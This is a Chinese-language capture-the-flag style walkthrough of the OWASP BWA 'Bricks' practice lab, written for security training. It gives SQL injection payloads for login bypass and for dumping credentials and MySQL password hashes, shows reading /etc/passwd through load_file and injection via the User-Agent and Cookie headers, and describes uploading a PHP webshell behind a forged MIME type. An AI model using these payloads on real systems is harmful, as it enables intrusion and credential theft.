owaspbwa之Bricks

简介

 下载：https://sourceforge.net/projects/owaspbwa/files/

GitHub: https://github.com/chuckfw/owaspbwa/wiki/UserGuide

0x001 login #1

 burp拦截修改提交 检查注入

username=test'&passwd=test'&submit=Submit



#SQL Query: SELECT * FROM users WHERE name='test'' and password='test''

burp拦截修改提交绕过登录

username=test' or 1=1-- -&passwd=test&submit=Submit

0x002 Login #2

和login1一样 绕过登录

username=test' or 1=1-- -&passwd=test&submit=Submit

0x003 Login #3

username=test&passwd=test') or 1=1-- -&submit=Submit

0x004 Login #4

#4 #5 #6  同上注入绕过

0x005 Upload #1

上传webshell.php 根据文件路径http://192.168.1.105/owaspbricks/upload-1/uploads/shell.php?cmd=%20id

cat shell.php 

0x006 Upload #2

burp拦截修改 MIME类型绕过上传

Upgrade-Insecure-Requests: 1

-----------------------------85910206920936513261896987994
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: application/x-php #修改为 image/png


-----------------------------85910206920936513261896987994
Content-Disposition: form-data; name="upload"

Upload
-----------------------------85910206920936513261896987994--

0x007 Upload #3

同上绕过

Upgrade-Insecure-Requests: 1

-----------------------------111736740519479867541731542773
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/png


-----------------------------111736740519479867541731542773
Content-Disposition: form-data; name="upload"

Upload
-----------------------------111736740519479867541731542773--

0x008 Content #1

猜数据库列

#URL
id=0 order by 1
id=0 order by 2
id=0 order by 3
id=0 order by 4
id=0 order by 5
id=0 order by 6
id=0 order by 7
id=0 order by 8
id=0 order by 9 #数据库返回错误信息 可知道8列

获取数据库版本，用户，数据库名

id=0 and 1=2 union select version(),user(),database(),4,5,6,7,8

获取主机名和数据库db文件位置

id=0 and 1=2 union select @@hostname,@@datadir,3,4,5,6,7,8

查询数据库db

id=0 and 1=2 union select group_concat(schema_name),2,3,4,5,6,7,8 from information_schema.schemata

查询数据库表

id=0 and 1=2 union select group_concat(table_name),2,3,4,5,6,7,8 from information_schema.tables where table_schema=database()

指定查询库中的表

id=0 and 1=2 union select group_concat(table_name),2,3,4,5,6,7,8 from information_schema.tables where table_schema=bricks

指定查询库列名

id=0 and 1=2 union select group_concat(column_name),2,3,4,5,6,7,8 from information_schema.columns where table_schema='bricks' and table_name='users'

查询用户名和密码

id=0 and 1=2 union select group_concat(name),group_concat(password),3,4,5,6,7,8 from users

查询mysql用户

id=0 and 1=2 union select group_concat(user),2,3,4,5,6,7,8 from mysql.user

查询用户的哈希密码

id=0 and 1=2 union select group_concat(host), group_concat(user),group_concat(Password),3,4,5,6,7,8 from mysql.user

查询当前用户哈希密码

id=0 and 1=2 union select User(),password,3,4,5,6,7,8 from mysql.user

读取/etc/passwd文件

id=0 and 1=2 union select load_file(0x2f6574632f706173737764),2,3,4,5,6,7,8 from mysql.user

0x009 Content #2

注释检测

user=harry' and 2=1-- -
user=harry' and 1=1-- -

查询数据库版本

user=harry' and 1=2 union select @@version,2,3,4,5,6,7,8-- -

查询用户名密码

user=harry' and 1=2 union select group_concat(name),group_concat(password),3,4,5,6,7,8 from users-- -

0x010 Content #3

注入检测 burp拦截 修改 提交

username=tom'&submit=Submit

用户名信息检测

username=tom' and 1=1-- -&submit=Submit

查询数据库版本

username=tom' and 1=0 union select @@version,2,3,4,5,6,7,8-- -&submit=Submit

0x011 Content #4

User-Agent SQL注入

GET /owaspbricks/content-4/ HTTP/1.1
Host: 192.168.1.105
User-Agent: test' #拦截修改
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

User-Agent: ' or 1=1-- -

User-Agent: ' and 1=0 union select @@version,2,3,4,5,6,7,8-- -

0x012 Content #5

根据之前找的用户信息进行利用

GET /owaspbricks/content-5/index.php HTTP/1.1
Host: 192.168.1.105
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.105/owaspbricks/content-5/index.php
Cookie: User=tom'; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=5aoprhloiptnvucuqigfatete6
Connection: close
Upgrade-Insecure-Requests: 1

Cookie: User=tom' and 1=1-- -; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=5aoprhloiptnvucuqigfatete6

tom' and 1=0 union select @@version,2,3,4,5,6,7,8-- -; 

0x012 Content #6

查看URL有个302的重定向  而且URL末尾的值是Base64编码     

对sql进行Base64编码

3 and 1=0 union select @@version,2,3,4,5,6,7,8-- -

id=MyBhbmQgMT0wIHVuaW9uIHNlbGVjdCBAQHZlcnNpb24sMiwzLDQsNSw2LDcsOC0tIC0=